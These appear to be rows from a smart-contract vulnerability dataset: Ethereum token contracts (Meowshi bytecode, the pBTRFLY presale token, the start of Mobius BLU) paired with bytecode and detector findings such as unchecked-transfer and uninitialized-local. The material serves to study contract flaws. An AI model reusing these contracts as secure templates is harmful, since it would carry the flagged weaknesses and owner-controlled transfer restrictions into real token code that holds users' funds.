8152604080832063ffffffff60001986011684529091529020600101545b9392505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08301526001600160a01b038a1660e083015261010082018990526101208083018990528451808403909101815261014083019094528351939092019290922061190160f01b6101608401526101628301829052610182830181905290916000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa1580156110f9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661116e5760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152687369676e617475726560b81b6064820152608401610b43565b6001600160a01b038116600090815260036020526040902080546001810190915589146111eb5760405162461bcd60e51b815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152646e6f6e636560d81b6064820152608401610b43565b8742111561124d5760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e617475726044820152681948195e1c1a5c995960ba1b6064820152608401610b43565b611257818b6118dc565b505050505b505050505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301206001600160a01b038b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a90528551808503909101815261018084019095528451949093019390932061190160f01b6101a08301526101a282018490526101c2820181905291906101e20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa15801561140b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166114795760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e617475604482015261726560f01b6064820152608401610b43565b8a6001600160a01b0316816001600160a01b0316146114da5760405162461bcd60e51b815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610b43565b505050844211156115385760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e6174757265206578706972604482015261195960f21b6064820152608401610b43565b6001600160a01b038881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040516323b872dd60e01b815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b15801561160e57600080fd5b505af1158015611622573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116469190611d74565b5060405162ae511b60e21b815273f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c9061083c90738798249c2e607446efb7ad49ec89dd1865ff427290849030908890600090600401611f15565b33600090815260026020526040812080548392906116b9908490611fdf565b9091555050600080548290038155338152600460205260408120546116ea916001600160a01b039091169083611713565b604051818152600090339060008051602061204f8339815191529060200160405180910390a350565b816001600160a01b0316836001600160a01b0316141580156117355750600081115b1561183a576001600160a01b038316156117bc576001600160a01b03831660009081526006602052604081205463ffffffff1690816117755760006117a7565b6001600160a01b038516600090815260056020908152604080832063ffffffff60001987011684529091529020600101545b90508281036117b88684848461195c565b5050505b6001600160a01b0382161561183a576001600160a01b03821660009081526006602052604081205463ffffffff1690816117f7576000611829565b6001600160a01b038416600090815260056020908152604080832063ffffffff60001987011684529091529020600101545b905082810161125c8584848461195c565b505050565b6001600160a01b03821660009081526002602052604081208054839290611867908490611fa8565b925050819055508060008082825461187f9190611fa8565b90915550506001600160a01b038083166000908152600460205260408120546118a9921683611713565b6040518181526001600160a01b0383169060009060008051602061204f8339815191529060200160405180910390a35050565b6001600160a01b03808316600081815260046020818152604080842080546002845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4611956828483611713565b50505050565b600061196743611aa9565b905060008463ffffffff161180156119b057506001600160a01b038516600090815260056020908152604080832063ffffffff6000198901811685529252909120548282169116145b156119ed576001600160a01b038516600090815260056020908152604080832063ffffffff60001989011684529091529020600101829055611a5e565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600584528681208b8616825284528681209551865490861663ffffffff19918216178755925160019687015590815260069092529390208054928801909116919092161790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b60006401000000008210611b255760405162461bcd60e51b815260206004820152603760248201527f4d656f777368693a3a5f7772697465436865636b706f696e743a20626c6f636b60448201527f206e756d626572206578636565647320333220626974730000000000000000006064820152608401610b43565b5090565b80356001600160a01b0381168114611b4057600080fd5b919050565b803560ff81168114611b4057600080fd5b600060208284031215611b67578081fd5b610f7082611b29565b60008060408385031215611b82578081fd5b611b8b83611b29565b9150611b9960208401611b29565b90509250929050565b600080600060608486031215611bb6578081fd5b611bbf84611b29565b9250611bcd60208501611b29565b9150604084013590509250925092565b600080600080600080600060e0888a031215611bf7578283fd5b611c0088611b29565b9650611c0e60208901611b29565b95506040880135945060608801359350611c2a60808901611b45565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215611c58578182fd5b611c6183611b29565b946020939093013593505050565b60008060008060008060c08789031215611c87578182fd5b611c9087611b29565b95506020870135945060408701359350611cac60608801611b45565b92506080870135915060a087013590509295509295509295565b60008060408385031215611cd8578182fd5b611ce183611b29565b9150602083013563ffffffff81168114611cf9578182fd5b809150509250929050565b60008060208385031215611d16578182fd5b823567ffffffffffffffff80821115611d2d578384fd5b818501915085601f830112611d40578384fd5b813581811115611d4e578485fd5b8660208260051b8501011115611d62578485fd5b60209290920196919550909350505050565b600060208284031215611d85578081fd5b81518015158114610f70578182fd5b600060208284031215611da5578081fd5b815167ffffffffffffffff80821115611dbc578283fd5b818401915084601f830112611dcf578283fd5b815181811115611de157611de1612038565b604051601f8201601f19908116603f01168101908382118183101715611e0957611e09612038565b81604052828152876020848701011115611e21578586fd5b611e32836020830160208801611ff6565b979650505050505050565b600060208284031215611e4e578081fd5b5051919050565b60008060408385031215611e67578182fd5b505080516020909101519092909150565b60008151808452611e90816020860160208601611ff6565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b82811015611f0857603f19888603018452611ef6858351611e78565b94509285019290850190600101611eda565b5092979650505050505050565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b602081526000610f706020830184611e78565b6000808335601e19843603018112611f72578283fd5b83018035915067ffffffffffffffff821115611f8c578283fd5b602001915036819003821315611fa157600080fd5b9250929050565b60008219821115611fbb57611fbb612022565b500190565b6000816000190483118215151615611fda57611fda612022565b500290565b600082821015611ff157611ff1612022565b500390565b60005b83811015612011578181015183820152602001611ff9565b838111156119565750506000910152565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122035b0fe5adbdae498498519145e816863e43ce263ac09956b745a7b88ea999a1f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,971 |
0x57503824e256e878db8136fde66f155c49e362df
|
/**
*Submitted for verification at Etherscan.io on 2021-12-15
*/
// File: contracts/PBTRFLY.sol
/**
*Submitted for verification at Etherscan.io on 2021-01-21
*/
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
library Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = Context._msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == Context._msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(Context._msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(Context._msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, Context._msgSender(), _allowances[sender][Context._msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(Context._msgSender(), spender, _allowances[Context._msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(Context._msgSender(), spender, _allowances[Context._msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address( this ), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address( this ), account_, ammount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract Divine is ERC20, Ownable {
constructor ( string memory name_, string memory symbol_, uint8 decimals_ ) ERC20( name_, symbol_, decimals_ ) {}
}
contract PBTRFLY is Divine {
using SafeMath for uint256;
bool public requireSellerApproval;
bool public allowMinting;
mapping( address => bool ) public isApprovedSeller;
constructor() Divine( "pBTRFLY", "pBTRFLY", 18 ) {
uint256 initialSupply_ = 25 * 1000 * 1000 * 1e18; //writing out 25 million ether units the long way to be safe
requireSellerApproval = true;
allowMinting = true;
_addApprovedSeller( address(this) );
_addApprovedSeller( msg.sender );
_mint( owner(), initialSupply_ );
}
function allowOpenTrading() external onlyOwner() returns ( bool ) {
requireSellerApproval = false;
return requireSellerApproval;
}
function disableMinting() external onlyOwner() returns ( bool ) {
allowMinting = false;
return allowMinting;
}
function _addApprovedSeller( address approvedSeller_ ) internal {
isApprovedSeller[approvedSeller_] = true;
}
function addApprovedSeller( address approvedSeller_ ) external onlyOwner() returns ( bool ) {
_addApprovedSeller( approvedSeller_ );
return isApprovedSeller[approvedSeller_];
}
function addApprovedSellers( address[] calldata approvedSellers_ ) external onlyOwner() returns ( bool ) {
for( uint256 iteration_; approvedSellers_.length > iteration_; iteration_++ ) {
_addApprovedSeller( approvedSellers_[iteration_] );
}
return true;
}
function _removeApprovedSeller( address disapprovedSeller_ ) internal {
isApprovedSeller[disapprovedSeller_] = false;
}
function removeApprovedSeller( address disapprovedSeller_ ) external onlyOwner() returns ( bool ) {
_removeApprovedSeller( disapprovedSeller_ );
return isApprovedSeller[disapprovedSeller_];
}
function removeApprovedSellers( address[] calldata disapprovedSellers_ ) external onlyOwner() returns ( bool ) {
for( uint256 iteration_; disapprovedSellers_.length > iteration_; iteration_++ ) {
_removeApprovedSeller( disapprovedSellers_[iteration_] );
}
return true;
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_ ) internal override {
require( (_balances[to_] > 0 || isApprovedSeller[from_] == true), "Account not approved to transfer pBTRFLY." );
}
function mint( address recipient_, uint256 amount_) public virtual onlyOwner() {
require( allowMinting, "Minting has been disabled." );
_mint( recipient_, amount_ );
}
function burn(uint256 amount_) public virtual {
_burn( msg.sender, amount_ );
}
function burnFrom( address account_, uint256 amount_ ) public virtual {
_burnFrom( account_, amount_ );
}
function _burnFrom( address account_, uint256 amount_ ) internal virtual {
uint256 decreasedAllowance_ = allowance( account_, msg.sender ).sub( amount_, "ERC20: burn amount exceeds allowance");
_approve( account_, msg.sender, decreasedAllowance_ );
_burn( account_, amount_ );
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063a2efb97511610097578063b93ea6a111610071578063b93ea6a114610575578063dd62ed3e1461057d578063ea46d196146105ab578063f2fde38b146105b35761018e565b8063a2efb975146104f7578063a457c2d71461051d578063a9059cbb146105495761018e565b8063715018a61461041f57806379cc6790146104275780637e5cd5c1146104535780638da5cb5b1461045b57806395d89b411461047f5780639a9429b6146104875761018e565b806323b872dd1161014b57806340c10f191161012557806340c10f191461033e57806342966c681461036c5780635b0ed0ef1461038957806370a08231146103f95761018e565b806323b872dd146102be578063313ce567146102f457806339509351146103125761018e565b806306fdde03146101935780630775b33d14610210578063095ea7b31461024a5780630c4b56bf146102765780631602a1241461029c57806318160ddd146102a4575b600080fd5b61019b6105d9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102366004803603602081101561022657600080fd5b50356001600160a01b031661066f565b604080519115158252519081900360200190f35b6102366004803603604081101561026057600080fd5b506001600160a01b0381351690602001356106f6565b6102366004803603602081101561028c57600080fd5b50356001600160a01b0316610713565b610236610728565b6102ac610738565b60408051918252519081900360200190f35b610236600480360360608110156102d457600080fd5b506001600160a01b0381358116916020810135909116906040013561073e565b6102fc6107c5565b6040805160ff9092168252519081900360200190f35b6102366004803603604081101561032857600080fd5b506001600160a01b0381351690602001356107ce565b61036a6004803603604081101561035457600080fd5b506001600160a01b03813516906020013561081c565b005b61036a6004803603602081101561038257600080fd5b50356108e5565b6102366004803603602081101561039f57600080fd5b8101906020810181356401000000008111156103ba57600080fd5b8201836020820111156103cc57600080fd5b803590602001918460208302840111640100000000831117156103ee57600080fd5b5090925090506108f2565b6102ac6004803603602081101561040f57600080fd5b50356001600160a01b0316610988565b61036a6109a3565b61036a6004803603604081101561043d57600080fd5b506001600160a01b038135169060200135610a50565b610236610a5a565b610463610ad6565b604080516001600160a01b039092168252519081900360200190f35b61019b610aea565b6102366004803603602081101561049d57600080fd5b8101906020810181356401000000008111156104b857600080fd5b8201836020820111156104ca57600080fd5b803590602001918460208302840111640100000000831117156104ec57600080fd5b509092509050610b4b565b6102366004803603602081101561050d57600080fd5b50356001600160a01b0316610be1565b6102366004803603604081101561053357600080fd5b506001600160a01b038135169060200135610c49565b6102366004803603604081101561055f57600080fd5b506001600160a01b038135169060200135610cb1565b610236610cc5565b6102ac6004803603604081101561059357600080fd5b506001600160a01b0381358116916020013516610cd5565b610236610d00565b61036a600480360360208110156105c957600080fd5b50356001600160a01b0316610d7c565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106655780601f1061063a57610100808354040283529160200191610665565b820191906000526020600020905b81548152906001019060200180831161064857829003601f168201915b5050505050905090565b6000610679610e85565b60055461010090046001600160a01b039081169116146106ce576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b6106d782610eea565b506001600160a01b031660009081526006602052604090205460ff1690565b600061070a610703610e85565b8484610f0b565b50600192915050565b60066020526000908152604090205460ff1681565b600554600160b01b900460ff1681565b60025490565b600061074b848484610ff7565b6107bb84610757610e85565b6107b6856040518060600160405280602881526020016115e2602891396001600160a01b038a16600090815260016020526040812090610795610e85565b6001600160a01b031681526020810191909152604001600020549190611152565b610f0b565b5060019392505050565b60055460ff1690565b600061070a6107db610e85565b846107b685600160006107ec610e85565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610e89565b610824610e85565b60055461010090046001600160a01b03908116911614610879576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b600554600160b01b900460ff166108d7576040805162461bcd60e51b815260206004820152601a60248201527f4d696e74696e6720686173206265656e2064697361626c65642e000000000000604482015290519081900360640190fd5b6108e182826111e9565b5050565b6108ef33826112d9565b50565b60006108fc610e85565b60055461010090046001600160a01b03908116911614610951576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b60005b808311156107bb5761098084848381811061096b57fe5b905060200201356001600160a01b03166113d5565b600101610954565b6001600160a01b031660009081526020819052604090205490565b6109ab610e85565b60055461010090046001600160a01b03908116911614610a00576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b6108e182826113f9565b6000610a64610e85565b60055461010090046001600160a01b03908116911614610ab9576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b506005805460ff60b01b191690819055600160b01b900460ff1690565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106655780601f1061063a57610100808354040283529160200191610665565b6000610b55610e85565b60055461010090046001600160a01b03908116911614610baa576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b60005b808311156107bb57610bd9848483818110610bc457fe5b905060200201356001600160a01b0316610eea565b600101610bad565b6000610beb610e85565b60055461010090046001600160a01b03908116911614610c40576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b6106d7826113d5565b600061070a610c56610e85565b846107b6856040518060600160405280602581526020016116b86025913960016000610c80610e85565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611152565b600061070a610cbe610e85565b8484610ff7565b600554600160a81b900460ff1681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000610d0a610e85565b60055461010090046001600160a01b03908116911614610d5f576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b506005805460ff60a81b191690819055600160a81b900460ff1690565b610d84610e85565b60055461010090046001600160a01b03908116911614610dd9576040805162461bcd60e51b8152602060048201819052602482015260008051602061160a833981519152604482015290519081900360640190fd5b6001600160a01b038116610e1e5760405162461bcd60e51b815260040180806020018281038252602681526020018061154b6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3390565b600082820183811015610ee3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6001600160a01b038316610f505760405162461bcd60e51b81526004018080602001828103825260248152602001806116946024913960400191505060405180910390fd5b6001600160a01b038216610f955760405162461bcd60e51b81526004018080602001828103825260228152602001806115716022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661103c5760405162461bcd60e51b815260040180806020018281038252602581526020018061166f6025913960400191505060405180910390fd5b6001600160a01b0382166110815760405162461bcd60e51b81526004018080602001828103825260238152602001806115066023913960400191505060405180910390fd5b61108c838383611445565b6110c981604051806060016040528060268152602001611593602691396001600160a01b0386166000908152602081905260409020549190611152565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546110f89082610e89565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156111e15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111a657818101518382015260200161118e565b50505050905090810190601f1680156111d35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216611244576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61124f308383611445565b60025461125c9082610e89565b6002556001600160a01b0382166000908152602081905260409020546112829082610e89565b6001600160a01b038316600081815260208181526040918290209390935580518481529051919230927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03821661131e5760405162461bcd60e51b815260040180806020018281038252602181526020018061164e6021913960400191505060405180910390fd5b61132a82600083611445565b61136781604051806060016040528060228152602001611529602291396001600160a01b0385166000908152602081905260409020549190611152565b6001600160a01b03831660009081526020819052604090205560025461138d90826114c3565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006114298260405180606001604052806024815260200161162a602491396114228633610cd5565b9190611152565b9050611436833383610f0b565b61144083836112d9565b505050565b6001600160a01b03821660009081526020819052604090205415158061148857506001600160a01b03831660009081526006602052604090205460ff1615156001145b6114405760405162461bcd60e51b81526004018080602001828103825260298152602001806115b96029913960400191505060405180910390fd5b6000610ee383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115256fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654163636f756e74206e6f7420617070726f76656420746f207472616e736665722070425452464c592e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205ed8183296d4bf3ecdee3b5955649fdcd6a07dc195a20ddeaf4ab99fba1dfe0a64736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,972 |
0xc84ab334f9f615789716994f4fbdd35b7bb4f39c
|
pragma solidity^0.4.24;
/**
*
*
* ▄▄▄▄███▄▄▄▄ ▄██████▄ ▀█████████▄ ▄█ ███ █▄ ▄████████
* ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███
* ███ ███ ███ ███ ███ ███ ███ ███▌ ███ ███ ███ █▀
* ███ ███ ███ ███ ███ ▄███▄▄▄██▀ ███▌ ███ ███ ███
* ███ ███ ███ ███ ███ ▀▀███▀▀▀██▄ ███▌ ███ ███ ▀███████████
* ███ ███ ███ ███ ███ ███ ██▄ ███ ███ ███ ███
* ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█ ███
* ▀█ ███ █▀ ▀██████▀ ▄█████████▀ █▀ ████████▀ ▄████████▀
*
* ▀█████████▄ ▄█ ███ █▄ ▄████████
* ███ ███ ███ ███ ███ ███ ███
* ███ ███ ███ ███ ███ ███ █▀
* ▄███▄▄▄██▀ ███ ███ ███ ▄███▄▄▄
* ▀▀███▀▀▀██▄ ███ ███ ███ ▀▀███▀▀▀
* ███ ██▄ ███ ███ ███ ███ █▄
* ███ ███ ███▌ ▄ ███ ███ ███ ███
* ▄█████████▀ █████▄▄██ ████████▀ ██████████
* ▀
*
* //////// https://mobius.blue \\\\\\\
* //////// BLU Token Holders receive divs \\\\\\\
*
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract StandardToken {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Total number of tokens in existence
*/
